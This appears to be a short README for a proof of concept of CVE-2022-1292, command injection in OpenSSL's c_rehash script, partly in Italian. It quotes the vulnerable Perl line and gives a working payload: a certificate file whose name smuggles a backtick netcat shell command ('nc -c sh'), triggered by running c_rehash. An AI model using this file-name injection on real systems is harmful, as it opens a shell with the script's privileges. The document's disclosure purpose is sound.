alcaparra/cve-2022-1292CVE-2022-1292 Vulnerabilità di c_rehash in OpenSSL - POC
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
L'iniezione di comandi avviene perché i nomi dei file non vengono adeguatamente sanitizzati:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;Questa parte dello script è vulnerabile, poiché chiudendo i backtick si permette l'esecuzione di comandi, ad esempio un file chiamato: MyCert.crt`whoami` eseguirà "whoami".
/etc/ssl/certs/ (predefinito) o in altri percorsi configurati in update-ca-certificatesecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc come esempio di payload)c_rehash .